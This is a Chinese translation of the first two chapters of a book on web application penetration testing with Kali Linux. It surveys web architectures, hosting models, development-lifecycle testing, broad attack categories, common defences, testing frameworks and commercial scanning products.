精通-Kali-Linux-Web-渗透测试(全)

精通 Kali Linux Web 渗透测试(全)

原文:annas-archive.org/md5/F7A8D19093C3DEFCEB9810DC24577B59

译者:飞龙

协议:CC BY-NC-SA 4.0

第一章:常见的 Web 应用程序和架构

Web 应用程序对今天的文明至关重要。我知道这听起来很大胆,但当你想到技术如何改变了世界,毫无疑问,全球化是世界各地通过互联网迅速交换信息的原因。虽然互联网是多方面的,但最有价值的组成部分是数据所在的地方。自 1990 年代万维网的出现以来,这些数据已经激增,目前世界上的数据产生量在未来 2 年内将超过所有已记录历史的数据总和。虽然数据库和对象存储是这一庞大数据的主要存储库,但 Web 应用程序是数据进出、被操纵和加工成可操作信息的门户。这些信息以动态方式呈现给最终用户在他们的浏览器中,这种相对简单和便捷是 Web 应用程序不可避免的主要原因。我们对 Web 应用程序如此习以为常,以至于我们中的许多人会发现在没有它们的情况下过几个小时是不可能的。

金融、制造、政府、国防、企业、教育和娱乐机构依赖于 Web 应用程序,这些应用程序使它们能够运作并相互交互。这些无处不在的门户被信任来存储、处理、交换和呈现各种敏感信息和有价值的数据,同时保护它们免受伤害。工业界对这些系统寄予了极大的信任。因此,对这些系统的任何损害或任何信任违反都可能并经常造成深远的经济、政治或身体伤害,甚至可能导致生命的丧失。新闻充斥着每天有关被攻击的 Web 应用程序的突发新闻。每一次攻击都导致信任的丧失,因为数据(从财务和健康信息到知识产权)被窃取、泄露、滥用和披露。公司遭受了无法挽回的损失,患者处于危险之中,职业终结,命运改变。这是沉重的事情!

虽然有许多潜在问题让建筑师、开发人员和运营商感到紧张,但其中许多问题发生的可能性非常低,只有一个重大例外。犯罪和地缘政治行为者以及活动人士对计算系统、网络以及所有连接或利用它们的其他人或事物构成明显的危险。糟糕的编码、不正确的实施或缺少的对策对这些对手来说是一种福音,为他们提供了进入或掩盖其活动的方式。潜在的攻击者看到制造混乱的机会,他们会投入更多、学习、发展新技术,然后实现更雄心勃勃的目标。这种循环不断重复。捍卫网络、系统和应用程序免受这些威胁是一项崇高的事业。

也存在防御性方法,可以帮助减少风险和最小化暴露,但渗透测试人员(也称为白帽黑客)确保它们能够胜任。通过像攻击者一样思考,并使用许多相同的工具和技术,渗透测试人员可以发现设计或实施中的潜在缺陷,并允许应用程序利益相关者填补这些空白,以防止恶意黑客(也称为黑帽黑客)利用它们。安全是一种旅程,而不是目的地,渗透测试人员可以成为引导其他利益相关者走向安全的向导。

在本书中,我假设您是一名对使用 Kali Linux 专门测试 Web 应用程序感兴趣或有经验的渗透测试人员,Kali Linux 是当今最流行的开源渗透测试平台。Kali Linux 及其工具的基本设置和安装在许多其他地方都有介绍,无论是 Packt 自己的《使用 Kali Linux 进行 Web 渗透测试-第二版》(作者 Juned Ahmed Ansari,可在www.packtpub.com/networking-and-servers/web-penetration-testing-kali-linux-second-edition上找到),还是其他大量的书籍和网站。

在本章中,我们将讨论以下内容:

  • 领先的 Web 应用程序架构和趋势

  • 常见的 Web 应用程序平台

  • 云和私有托管解决方案

  • 常见的防御措施

  • 本书将评估的架构软点的高层视图

常见的架构


在过去的 15 年里,Web 应用程序发展迅速,从早期的单片设计到分段式方法,更专业的部署实例现在主导市场。它们还在架构元素的托管方式上发生了变化,从纯粹的本地服务器到虚拟化实例,再到纯粹或混合云部署。我们还应该了解客户在这种架构中的角色可能有很大的变化。这种演变改善了规模和可用性,但涉及的额外复杂性和变化性可能会对不那么勤奋的开发人员和运营商产生负面影响。

整体 Web 应用程序的架构可能在物理上、逻辑上或功能上分割。这些类型的分割可能以组合的形式出现;在企业中跨应用程序集成如此普遍,这些边界或特征很可能总是处于过渡状态。这种分割有助于提高可伸缩性和模块化,分割管理领域以匹配人员或团队结构,增加可用性,并且在发生妥协事件时还可以提供一些急需的分割。这种模块化发生的程度以及功能在逻辑上和物理上如何分割,很大程度上取决于所使用的框架。

让我们讨论一些常用的逻辑模型以及一些突出的这些模型所实施的框架。

独立模型

大多数小型或临时网络应用程序在某个时候都托管在物理或虚拟服务器上,并且在单个单片安装中,这在简单的自托管应用程序中经常遇到,比如小型或中型企业网页、库存服务、售票系统等。随着这些应用程序或其相关数据库的增长,有必要将组件或模块分开,以更好地支持规模并与相邻的应用程序和数据存储集成。

这些应用程序倾向于使用常见的现成的 Web 框架,如 Drupal、WordPress、Joomla!、Django 或其他多种框架,每个框架都包括内容交付管理器和语言平台(例如 Java、PHP:超文本预处理器(PHP)、Active Server Pages(ASP.NET)等),以超文本标记语言HTML)生成内容,并支持数据库类型或它们支持的类型(各种服务器查询语言SQLs)、Oracle、IBM DB2,甚至平面文件和 Microsoft Access 数据库)。作为单个图像或安装介质,所有功能都驻留在同一操作系统和内存空间中。为这个模型选择的平台和数据库组合往往更多是开发人员的能力和偏好的问题。对负责团队进行社会工程和开源信息收集肯定会有助于描述 Web 应用程序的架构。

下图显示了一个简单的单层或独立架构:

独立架构在历史上是首次遇到的,并经常是任何应用程序演变的第一步。

三层模型

在概念上,三层设计仍然被用作参考模型,即使大多数应用程序已经迁移到其他拓扑结构或尚未从独立实现中演变出来。虽然许多应用程序现在偏离了这个经典模型,但我们仍然发现它对于理解真实世界应用程序所需的基本设施是有用的。我们称之为三层模型,但它还假设了第四个未命名的组件:客户端。

三层包括 Web 层(或前端)、应用层和数据库层,如下图所示:

三层架构提供了现代企业应用程序所需的更大的可伸缩性和专业化。

考虑每个层的角色是很重要的:

  • Web 或呈现层/服务器/前端:该模块提供用户界面UI)、身份验证和授权、扩展规定以适应大量用户、高可用性功能(处理负载转移、内容缓存和容错能力)以及必须为客户端提供的任何软件服务或用于与客户端通信的服务。HTML、可扩展标记语言XML)、异步 JavaScript 和 XMLAJAX)、通用样式表CSS)、JavaScript、Flash、其他呈现的内容和 UI 组件都驻留在这一层,通常由 Apache、IBM WebSphere 或 Microsoft IIS 托管。实际上,这一层是用户通过其浏览器看到并与之交互以请求和接收其所需结果的地方。

  • 应用程序或业务层/服务器:这是 Web 应用程序的引擎。由 Web 层处理的请求在这里执行,这是业务逻辑、流程或算法所在的地方。这一层还充当了多个数据库或甚至同一组织内或受信任的第三方应用程序的桥接模块。C/C++、Java、Ruby 和 PHP 通常是用来处理繁重工作并将数据库层的原始数据转换为 Web 层向客户端呈现的信息的语言。

  • 数据库层/服务器:各种形式的大量数据存储在称为数据库的专门系统中。这些信息宝库被安排得可以快速访问,但不断扩展。经典的 SQL 实现,如 MySQL 和 ProstgreSQL,Redis,CouchDB,Oracle 等,通常用于存储数据,以及大量的抽象工具帮助组织和访问数据。在数据收集和处理的高端,有越来越多的超标量数据库架构,涉及不仅仅是 SQLNoSQL),它与 Hadoop 等数据库抽象软件相结合。这些通常出现在声称是大数据数据分析的任何东西中,如 Facebook,Google,NASA 等。

  • 客户端:所有三个层都需要受众,而客户端(更具体地说,他们的浏览器)是用户访问应用程序并进行交互的地方。浏览器及其插件软件模块支持 Web 层以按照应用程序开发人员的意图呈现信息。

供应商拿到这个模型并对其进行修改,以突出他们的优势或更贴近他们的策略。例如,甲骨文和微软的参考 Web 应用程序架构将 Web 和应用程序层合并为一个层,但甲骨文着重于其在数据库方面的优势,而微软则大力扩展其附加服务列表,以增加对客户的价值(并为微软带来收入),包括负载平衡、认证服务以及与其自己操作系统在全球大多数客户端的联系。

模型-视图-控制器设计

模型-视图-控制器MVC)设计是一个功能模型,指导信息和暴露的分离,并在一定程度上也解决了利益相关者用户通过角色分离的特权。这使应用程序能够使用户及其输入与后端业务流程、逻辑和交易分离,从而避免了早期架构中的数据泄漏。MVC 设计方法实际上是由厚应用软件开发人员创建的,并不是服务和组件的逻辑分离,而是基于角色的分离。现在,Web 应用程序通常必须在跟踪和执行角色的同时进行扩展,Web 应用程序开发人员已经将其适应了他们的使用。MVC 设计还促进了代码重用和并行模块开发。

MVC 设计可以在以下图中看到:

模型-视图-控制器设计侧重于角色,而不是功能,并经常与功能架构结合在一起。

在 MVC 设计中,这四个组件如下:

  • 模型:模型作为应用程序的真相源,维护和更新数据对象,具有使应用程序有价值的规则,逻辑和模式。它不了解用户,而是接收来自控制器的调用,以处理对其自身数据对象的命令,并将结果返回给控制器和视图。另一种看待它的方式是,模型决定了应用程序的行为。

  • 视图:视图负责向用户呈现信息,因此负责内容传递和响应:从控制器接收反馈和从模型接收结果。它构建用户查看和交互的界面。视图是用户看到应用程序工作的地方。

  • 控制器: 控制器充当视图和模型之间的中央链接;在接收来自视图用户界面的输入时,控制器将这些输入调用转换为模型执行的请求。这些请求可以更新模型并执行用户的意图,或者更新向用户呈现的视图。控制器是使应用程序交互的部分,允许外部世界刺激模型并改变视图。

  • 用户: 与早期模型一样,用户是设计的一个推断组件;事实上,整个设计将围绕如何使应用程序向客户提供价值展开。

请注意,在 MVC 模型中,对软件模块的细节很少给出,这是有意为之的。通过专注于角色和职责的分离,软件(现在是 Web)开发人员可以自由地创建自己的平台和架构,同时使用 MVC 作为基于角色的分割的指南。将这与独立或 3 层模型对应,我们会发现它们以非常不同的方式思考同一件事。

MVC 确实灌输了一种状态感,这意味着应用程序需要跟踪会话信息以保持连续性。这种连续性驱使了对 HTTP cookie 和令牌的需求,以跟踪会话,这本身就是我们的应用开发人员现在应该找到安全方式来保护的东西。大量使用应用程序编程接口(API)也意味着现在有更大的攻击面。如果应用程序只呈现数据库层中存储的一小部分数据,或者应该更有选择地填充信息以避免泄漏,通过在模型中保留太多信息,当配置错误或遭到侵犯时可以访问。在这些情况下,MVC 通常被视为一种方法论,因为在其中管理数据曝光可能会很困难。

需要注意的是,MVC 设计方法可以与功能的物理或逻辑模型相结合;实际上,使用一些 MVC 设计原则的平台支持大多数当今的 Web 应用程序。

Web 应用程序托管


应用程序或其模块的位置直接影响我们作为渗透测试人员的角色。目标应用程序可以位于从物理到虚拟,到云托管组件,或三者的组合的连续体上的任何位置。最近,第四种可能性已经出现:容器。主机选项的连续体及其相对规模和安全属性如下图所示。请记住,这里显示的日期与每种可能性的流行度上升有关,但任何主机可能共存,事实上,容器可以在云端或本地数据中心中同样良好地托管。

这种演变在以下图中可以看到:

主机选项已经发展,以更好地支持灵活和动态的部署-大多数客户在多个地方部署。

物理主机

多年来,应用程序架构和设计选择只需考虑物理的、基本的主机来运行架构的各个组件。随着 Web 应用程序的扩展和整合专门的平台,需要添加额外的主机来满足需求。随着数据集变得更加多样化,需要添加新的数据库服务器,需要添加额外的应用程序服务器来整合额外的软件平台,等等。劳动力和硬件资源都专门用于每个额外的实例,但它们增加了成本、复杂性和浪费到数据中心。工作负载依赖于专用资源,这使它们既脆弱又不灵活。

虚拟主机

虚拟化已经大大改变了这一范式。通过允许硬件资源被汇集并逻辑地分配给多个客户系统,一个硬件资源池可以包含所有不同的操作系统、应用程序、数据库类型和其他应用程序必需品,这些都在同质化的服务器池中提供了集中管理,并以优先方式动态分配接口和设备给多个组织。特别是 Web 应用程序受益于此,因为虚拟化的灵活性提供了创建并行应用程序环境、数据库克隆等的手段,用于测试、质量保证和增加容量。由于系统管理员现在可以在相同的资源池上管理多个工作负载,硬件和支持成本(例如电力、楼层空间、安装和配置)也可以减少,假设许可成本不会抵消固有的效率。许多应用程序仍然在虚拟的本地环境中运行。

注意

值得注意的是,虚拟化还引入了应用程序、系统管理和网络团队之间的新紧张关系,责任的转移涉及到安全相关方面。因此,职责可能不清楚,没有得到适当履行,甚至没有被考虑到。听起来像是一个很好的渗透测试机会!

云托管

亚马逊在 2006 年将托管虚拟工作负载的概念推进了一步,并引入了云计算,微软 Azure 和其他公司随后也跟进。通过互联网提供高度可靠的基础设施,承诺提供即插即用的软件即服务(SaaS)使公司能够构建应用程序,而无需投资于硬件、带宽,甚至房地产。云计算应该取代私有云(传统的本地系统),确实有一些组织已经实现了这一点。然而,主要趋势是大多数企业在私有云和公共云之间看到应用程序的分裂,这取决于这些服务的类型和稳定的需求。

容器-一种新趋势

容器提供了并行或替代的打包方式;与虚拟机中包含整个操作系统和模拟硬件不同,容器只带来它们的独特属性,并共享这些常见的附属和功能,使它们更小更灵活。这些特点使得像谷歌和 Facebook 这样的大公司能够实时扩展到用户的激增需求,响应时间为微秒,并完全自动化容器工作负载的生成和销毁。

那么,这对我们意味着什么?Web 应用程序的位置和打包方式影响其安全姿态。通常,私有云和公共云托管的应用程序将与可能跨越两个域的其他应用程序进行集成。这些集成点提供了潜在的威胁向量,必须进行测试,否则它们肯定会成为攻击目标。云托管的应用程序也可能受益于由服务提供商托管或提供的保护,但它们也可能限制防御选项和支持的 Web 平台的多样性。了解这些限制可以帮助我们专注于我们的探测和消除不必要的工作。托管范式还决定了我们所遇到的防御者和操作者团队的构成。云托管公司可能拥有更有能力的安全运营中心,但应用程序安全责任的分工可能导致情报的分散,并提供可以用来利用目标的空白。可用的虚拟化和操作系统也将影响应用程序平台的选择、周围的安全机制等等。

应用程序开发周期


应用程序开发人员遵循有助于按计划和预算保持进展的流程。每个开发应用程序的公司无疑都会有自己的流程,但这些流程的共同元素将是各种阶段:从构思到交付/运营以及任何所需的审查、可交付物期望、测试流程和资源需求。

Web 应用程序中常用的开发流程是应用程序或软件开发生命周期(SDLC),如下图所示,摘自commons.wikimedia.org/wiki/File:SDLC_-_Software_Development_Life_Cycle.jpg

每个现代应用程序开发人员都遵循 SDLC 或类似的流程。

无论公司的发展过程中定义了什么阶段,都很重要在每个阶段都加入测试,包括渗透测试,以在尽可能成本效益的阶段减轻风险。

我曾见过政府开发项目由于在周期早期不考虑安全和安全测试而迅速超支。在这些项目中,项目管理通常推迟了任何安全测试,直到产品离开实施阶段,认为测试阶段是为了包含所有验证活动。在这个阶段捕捉错误、缺陷或安全漏洞需要大量的重做、重新设计或解决方案,严重影响了进度和预算。

与开发团队协调

减轻威胁和影响整体进度的成本是早期测试的最基本原因,通常是开发周期的一部分。如果您是在多学科团队中工作的测试人员,早期协调的渗透测试可以消除缺陷并在它们变得具体和昂贵之前解决安全问题。渗透测试要求应该是任何验证和验证测试计划的一部分。此外,开发团队应在需求和设计阶段全程包括应用程序安全专家,以确保应用程序设计时考虑了安全性,这是 Web 应用程序渗透测试人员很擅长提供的视角。

有来自组织如 OWASP(www.owasp.org/index.php/Testing_Guide_Introduction))、SANS(www.sans.org))和美国计算机紧急响应小组(www.us-cert.gov/bsi/articles/best-practices/security-testing/adapting-penetration-testing-software-development-purposes))的参考资料,可以帮助指导渗透测试流程适应公司自己的开发周期。这种早期和经常性策略的价值应该很容易向管理层表达,但针对特定 Web 应用程序漏洞和安全风险的具体建议可以在安全报告中找到,例如由 WhiteHat Security, Inc.准备的报告(info.whitehatsec.com/rs/675-YBI-674/images/WH-2016-Stats-Report-FINAL.pdf),以及来自 Verizon、Cisco、戴尔、麦克风和赛门铁克等大公司。在整个开发过程中,必须有公司赞助,以确保网络安全得到充分和持续的考虑。

部署后-持续警惕

测试不应该只是为了“打勾”而完成一次,然后不再重访。Web 应用程序很复杂;它们重复使用了大量由各种组织和项目贡献的代码库。近年来,漏洞的数量显然有所增加,2014 年和 2015 年是攻击常见开源库非常活跃的一年。诸如 Heartbleed、SSLPoodle 和 Shellshock 等攻击都利用了这些开源库,这些库在某些情况下支持了当今超过 80%的 Web 应用程序。管理员可能需要数年时间来升级服务器,而随着已记录的弱点数量不断增加,跟进可能会很困难。例如,2016 年是 Adobe Flash、Microsoft Internet Explorer 和 Silverlight 漏洞的一年。对于整个社区来说,不可能监督每一种基本构件的使用情况,而 Web 应用程序的所有者可能根本不知道这些模块被包含在其中。

同一组测试的应用程序应该在定期间隔内继续进行分析,以确定它们随时间的风险暴露。同样重要的是要确保尽可能经常地使用不同的测试方法,如果可能的话,使用不同的团队,以确保考虑到所有角度。这种测试有助于通过在测试和演进阶段提供所需的安全反馈来完成 SDLC,以确保应用程序不仅可以整合新功能,而且可以在潜在攻击者之前发展一步。强烈建议您建议您的客户资助或支持这种测试,并雇佣内部和一些外部测试团队,以便这些发现能够像功能增强一样进入补丁和修订计划。

常见弱点 - 从哪里开始


Web 应用程序渗透测试侧重于对应用程序、软件框架和平台进行彻底评估。Web 渗透测试已经发展成为一个专门的学科,与网络、无线或客户端(恶意软件)测试分开。我们很容易理解为什么最近的趋势表明几乎 75%的报告的网络攻击都集中在 Web 应用程序上。如果我们从黑客的角度来看,这是有道理的:

  • 门户和工作流程非常定制化,在开发过程中隔离它们免受所有矢量的影响并不是一件小事。

  • Web 应用程序必须向外部世界开放,以使用户能够真正使用它们。过多的安全性被视为负担,可能会成为开展业务的潜在障碍。

  • 防火墙和入侵系统在防范基于网络的攻击方面非常有效,但不一定参与 Web 门户的交付。

  • 这些应用程序向外部用户呈现可能是专有或敏感的数据。他们的工作就是利用这种信任来暴露大量高价值信息。

  • Web 应用程序攻击通常可以在没有基于文件的侵入的情况下暴露整个数据库,使归因和取证变得更加困难。

本章的大部分内容旨在向您介绍目标的架构方面。对客户应用程序的深入了解将使您能够将精力集中在最有意义的测试上。

让我们再次看一下典型的 3 层应用程序架构(如下图所示*),看看我们应该调查的潜在问题:

有害的 Web 应用程序攻击侧重于应用程序架构的各个方面 - 我们也应该如此。

这些潜在的向量是我们将进行测试的一些主要威胁;在某些情况下,我们将包括一系列类似的攻击类型。它们显示了它们在典型的 3 层设计中的典型位置,攻击通常会生效,但攻击者本身通常位于公共 Web 层,很像合法客户端。随着我们的讨论,我们将按以下方式对我们将讨论的攻击类型进行分组:

  • 身份验证、授权和会话管理攻击:这些攻击(以及我们的测试)侧重于应用程序本身验证特定用户的身份并强制执行特权的严格程度。这些测试将专注于说服 Web 层我们属于这个对话。

  • 跨站脚本(XSS)攻击:XSS 攻击涉及操纵客户端或 Web 和/或应用程序层,将有效会话的流量或注意力转向敌对位置,这可以使攻击者通过脚本利用有效客户端。劫持尝试通常也属于这一类别。

  • 注入和溢出:各种攻击在 3 层设计中的各个位置找到机会,强迫应用程序在测试范围之外工作,通过注入代码,这可能是底层模块允许的,但应用程序的实施应该禁止。大多数这些注入(SQL、HTML、XML 等)可以迫使应用程序泄露不应该允许的信息,或者它们可以帮助攻击者找到管理特权,以便自己发起简单的转储。

  • 中间人(MITM)攻击:会话劫持是黑客或测试人员在不被任何一方知晓的情况下拦截会话的一种方式。在这样做之后,黑客有能力操纵或模糊请求和响应,以操纵一方或双方,并揭示比合法用户实际寻求或有权获得的更多数据。

  • 应用程序层攻击:一些应用程序未配置正确验证输入,无论是在验证操作输入方式还是在授予文件访问权限方面。通常也会看到应用程序在强制执行真正基于角色的控制方面存在不足;特权升级攻击经常发生,使黑客可以为所欲为。

Web 应用程序防御


如果我们退一步思考客户所面临的问题,真的是令人震惊。构建安全的 Web 应用程序和网络就像建造核反应堆一样。没有细节是微不足道的,所以即使设计和实施中存在很多优点,一个微小的失败(裂缝、弱焊接或微小的污染)也可能意味着失败。同样的真相也影响着 Web 应用程序安全 - 只有一个缺陷,无论是在众多组件中的配置错误或遗漏,都足以为攻击者提供足够的空隙,通过这个空隙可以造成巨大的破坏。再加上这个额外的问题,这些积极的防御措施在许多环境中被依赖于帮助检测这些罕见事件(有时被称为黑天鹅事件)。网络和应用程序管理员的工作很艰巨,我们的目的是帮助他们和他们的组织更好地完成这项工作。

Web 应用程序框架和平台包含条款来帮助确保它们免受恶意行为者的侵害,但它们很少单独部署在生产系统中。我们的客户通常会部署网络防御系统,这些系统还可以增强其应用程序的保护、意识和抵抗攻击的能力。在大多数情况下,客户将与更多的元素关联起来,以提供更深层次的防御,并假设更高水平的保护。与其应用平台提供的措施一样,这些额外的系统只有在负责安装、配置、监视和将这些系统整体地整合到架构中的流程和人员负责时才能发挥作用。最后,鉴于这些应用在企业中的特殊地位,客户的各种利益相关者很可能已经采取了错误的解决方案来防范我们将要测试的攻击形式。我们必须努力评估目标并教育客户。

标准防御元素

那么,系统的哪些元素适合在这里?以下图显示了与 3 层设计相关的 Web 应用程序路径中涉及的最常见元素:

大多数严肃的 Web 应用程序将包括防御措施来阻止我们的努力,但所有安全元素的有效性都取决于它们的最新补丁、配置和监视操作员。

典型 Web 应用程序防御的关键外部元素包括:

  • 防火墙(FW):安全方面的第一个重点元素通常是边界或互联网边缘防火墙,负责执行各种访问控制和策略,以减少企业的整体攻击面,包括 Web 应用程序。防火墙市场的最新进展已经看到防火墙成为下一代防火墙NGFW),其中这些策略不再由严格的源和目的端口和 IP 地址对定义,而是以上下文方式,包括对话中的用户或组,地理位置,声誉或外部参与者的类别,以及对话的应用或目的。

  • 负载均衡器:许多规模化设计依赖于负载均衡器来将工作负载无缝分配给一组 Web 服务器。虽然这样做是为了使应用程序能够接触更多用户,但这个功能通常与一些类似代理的功能相对应,可以隐藏实际的 Web 层资源,使黑客无法窥视。一些负载均衡器解决方案还包括面向安全的服务,除了它们的虚拟 IP 或反向代理功能。在功能上,它们可能包括 Web 应用程序防火墙功能。负载均衡器在帮助提供分散式拒绝服务(DDoS)保护方面也很重要,可以分散、转移或吸收恶意流量负载。

  • Web 应用程序防火墙(WAF):WAF 提供应用层检查和防止攻击,以确保我们在本书中将尝试的许多利用要么不可能要么难以执行。这些防火墙与边界的网络防火墙不同,因为它们只检查 HTTP/HTTPS 流量以防范攻击。WAF 往往非常依赖签名,并必须与其他防御解决方案结合使用,以提供其他向量的覆盖。

额外的层

在上述图表中未显示的是可能作为防御措施的其他措施,这些措施可以作为防火墙的功能或独立地在环境的一个或多个阶段运行。各种供应商在各种市场类别和能力集中推广这些解决方案。尽管品牌可能有所不同,但它们可以分为几个主要类别:

  • 入侵检测/防范系统(IDS/IPS):这些关键元素为企业提供深度数据包检查功能,以检测原子和基于模式的(异常)威胁。在经典实施中,这些对于 Web 应用程序几乎没有价值,因为它们缺乏对黑客用来发起常见 Web 应用程序攻击的看似有效有效负载的各种操纵的洞察。下一代 IPSNGIPS)可能会提供更多的保护,因为它们不仅处理经典的 IDS/IPS 算法,还结合上下文和滚动基线来识别异常交易或交互。这些工具也可以集成在网络防火墙或环境的各个层之间。更新的 NGIPS 技术可能具有检测常见 Web 漏洞的能力,这些工具在保护使用未打补丁或配置错误的软件模块的目标系统方面表现出了巨大的价值。

  • 网络行为分析(NBA):这些工具利用网络元素的元数据来查看趋势并识别异常行为。从 Syslogs 和流量源(Neflow/IPFIX、sFlow、jFlow、NSEL 等)获取的信息不会提供 IPS 可以获取的同样深入的数据包信息,但从网络中的许多流中获取的趋势和模式可以提示操作员存在非法提升凭证的行为。在 Web 应用程序中,更严重的特权攻击可能会被 NBA 工具识别出来,以及文件和目录抓取攻击。

提到的所有组件都可以以多种形式实施:从各种物理设备类型到虚拟机到云服务。更复杂的 Web 应用程序通常会差异化地使用多个层,以提供更强大的抵御攻击的能力,以及为地理上分散的托管站点提供全面的功能。例如,一家公司可能有 10 个地点,全球负载平衡以为客户提供服务。在这种情况下,基于云的负载均衡器、WAF 和防火墙可能提供第一层防御,而每个数据中心可能有额外的层,不仅提供本地 Web 应用程序保护,还提供特定于该站点的其他关键服务。

注意

组合是无限的,但请记住,随着部署的安全解决方案复杂性的提高,它们被配置错误的可能性也会增加。我们的侦察工作和随后的渗透测试计划需要考虑这些变量。

总结


由于这是一本关于精通Kali Linux 以进行 Web 应用程序渗透测试的书,也许会让人惊讶,我们从架构、安全元素等基础主题开始。我希望涵盖这些主题将帮助我们区别于通常进行渗透测试但提供最小价值的脚本小子。任何人都可以启动 Kali Linux 或其他发行版并开始黑客攻击,但没有这个基础,我们的测试可能会不完整或不准确。我们的有利就业取决于实际帮助客户推动他们的网络达到(商定的)极限,并帮助他们发现他们的弱点。同样,我们还应该向他们展示他们做得对。黑山信息安全公司的所有者和分析师约翰·斯特兰德喜欢说

我们应该努力在表现出色后被抓住

虽然工具和基础协议的知识通常是严肃黑客与新手之间的区别,但也是对他们的目标和所提供服务的深度的了解。如果我们只是为客户运行脚本并报告明显的问题,那么我们就错过了成为雇佣渗透测试人员的要点。是的,关键缺陷需要解决,但看似较小的问题也需要解决。专家才能发现潜在的缺陷,即使现在不影响性能,但将在以后导致重大灾难。这不仅适用于发电厂,也适用于我们的 Web 应用程序。我们需要不仅向他们展示他们自己可以看到的东西,还要进一步帮助他们防范明天的攻击。

在本章中,我们讨论了一些架构概念,这些概念可能帮助我们更好地了解我们的目标。我们还讨论了客户可以采取的各种安全措施,我们需要意识到这些措施,既要规划我们的攻击,也要测试其有效性。我们的讨论还涵盖了在应用程序的整个生命周期中进行测试的重要性。这样做既节省时间和金钱,也可以在应用程序投入生产后保护声誉并最小化风险。这些考虑应该使渗透测试人员成为任何开发团队的重要和永久成员。

在我们的下一章中,我们将简要讨论如何准备一个功能齐全的沙盒环境,可以帮助我们练习测试概念。我们还将讨论可以帮助我们提供全面测试覆盖的主要测试框架。最后,我们将讨论合同以及我们工作的道德和法律方面;避免入狱是一个关键目标。

第二章:准备和测试的指导方针

了解目标应用程序的构建方式,如第一章中所讨论的常见 Web 应用程序和架构,将有助于我们进行比肩式渗透测试。所有这些理解都可能是一把双刃剑。更复杂的应用程序可能会让技术上最熟练的测试人员感到不知所措。在测试时,我们需要确保覆盖所有需求范围。也许会有诱惑在现场进行测试,但如果您和我一样,我们需要有一个计划。拥有严格的流程和深入理解的规则将有助于我们向客户提供一致、有价值的信息。这种额外的正式对待也将确保我们完全覆盖了与客户达成一致的范围。

这些计划可以作为客户流程的一部分存在,也可以作为我们通过合同带来的东西 - 我们可能是内部员工和承包商,也可能是外部顾问。在第一种情况下,您可能被要求针对自己雇主的环境或产品进行测试。在这种情况下,您的命令可能会源自内部流程或项目要求。管理层下达的临时测试并不罕见,但请确保范围和流程经过正式协议以确保所有各方受到保护。在后一种情况下,您或您的雇主可能被客户聘请进行测试。在这些情况下,范围、工作声明SOW)和合同作为一个整体,都需要由双方审核,以确保边界得到保护。

在整个过程中,牢记我们在那里的原因 - 我们在那里是为了帮助客户,而不是羞辱或展示他们的员工。无论您参与测试是受邀还是受命,道德黑客社区都应该赞扬那些接受测试的组织,因为有一天也许是我们个人的数据或财务状况岌岌可危。让我们尽力确保我们不会成为明天的受害者。

在本章中,我们将讨论以下内容:

  • 我们可以借鉴和修改一些全面的测试框架,以供我们自己使用

  • 可以指导我们行为的道德和法律原则

  • 关于建立实验室和经过批准的目标,以练习我们将在本书中探索的测试技能的指导

选择你喜欢的测试框架


在建立渗透测试和特别是 Web 应用程序渗透测试领域的领导地位的竞争中,出现了一些组织、公司和委员会。其中一些组织提供了一个与产品无关的方法,而其他人则毫不掩饰地推动他们推荐的渗透测试方法或框架。这种测试框架的内容和格式将有很大的变化,因此我们需要筛选选项,看哪一个更合理。

政府支持的中心和机构,如美国计算机紧急应对团队US CERT)、国家标准与技术研究所NIST)的计算机安全资源中心CSRC),以及新成立的欧洲网络与信息安全局www.enisa.europa.eu),往往专注于为防御者提供指南,提供了一些指导,可以转化为测试要求和重点领域。

因此,回到潜在的路径;选择一个框架通常取决于个人的舒适区和对程序或视角的熟悉程度。对于许多行业来说,合规性和法规也将驱动选择。没有正确的答案,但选择可能会对架构产生影响,并在最终结果中产生优势和劣势。许多时候,我们自己的培训预算、时间表、产品组合和背景将决定我们如何达到我们的过程。我们可能通过认证轨道、项目关联或通过雇主的有机方式来达到目标。让我们来看看一些最流行的方法。

通过产品框架

这是一本关于 Kali Linux 的书,但值得一提的是,有许多产品试图实现一体化的 Web 渗透测试。其中一些产品非常精心制作和维护,而其他产品近年来已经被忽视,但仍然有支持者,基于其独特的功能集或界面。

Kali Linux 本身有一些工具套件,它可以提供全面的测试生命周期覆盖。以下是一些更常见的选项列表:

  • IronWASP (ironwasp.org/index.html):这个免费的开源软件包可以在 Mac 和 Windows 上运行,或者在 Linux 上运行 WINE,并且具有大量出色的开箱即用功能。然而,它真正强大的地方在于,你可以编写自己的模块,或者借用别人用 VB.NET、C#、Ruby 或 Python 编写的模块,使工具成为你自己的!它的网站提供了精心制作的详细视频,向您展示工具的功能。

  • Veracode (www.veracode.com/products/dynamic-analysis-dast/web-application-security-testing):一个新的进入领域的 SaaS 产品 Veracode,用于执行基于云的 Web 应用程序渗透测试。

  • IBM Security AppScan (www-03.ibm.com/software/products/en/appscan):这个全能的 Web 和移动应用程序测试套件可以自动报告合规性、漏洞和建议的修复措施。它是大型企业的受欢迎的本地选项,并为软件开发生命周期SDLC)的所有阶段提供解决方案。最近,他们开始提供云托管变体。IBM 的解决方案也因其与类似安全和开发生态系统的集成而脱颖而出。他们通过其系统事件和事件管理器SEIM)、QRadar 以及其面向 Web 的 IDS/IPS 产品和代码开发平台组合之间的协同作用提供差异化。

  • Rapid7 appspider (www.rapid7.com/products/appspider/):IBM 专注于自己的生态系统,而 Rapid7 具有类似的能力套件,但专注于与技术合作伙伴的集成。Appspider 能够做很多相同的事情,但它专注于与 DevOps 工具和全面的 SEIM、IDS/IPS 和 WAF 工具集成。它甚至可以自动化修补程序,重放攻击,并自动生成规则;在速度、覆盖范围和可用性方面是顶尖表现者。

  • HP WebInspect (www8.hp.com/us/en/software-solutions/webinspect-dynamic-analysis-dast/):与 IBM 的产品类似,WebInspect 非常专注于单一供应商方法,涵盖安全、开发、编码、渗透测试和补救措施。这种解决方案的成本和复杂性使其更适合内部分析,而不适合外部渗透测试人员。

  • Acunetixwww.acunetix.com):与 IBM、Rapid7 和 HP WebInspect 不同,Acunetix 网络漏洞扫描仪专注于渗透测试支持和报告,而不涉及自动化规则和修补。这并不是一件坏事;它所做的事情,它做得很好;通常在外部渗透测试人员工作时,这些功能是不被使用的。Acunetix 提供丰富的报告,并经常在效力、覆盖范围和功能方面名列前茅。

像你玩一样训练

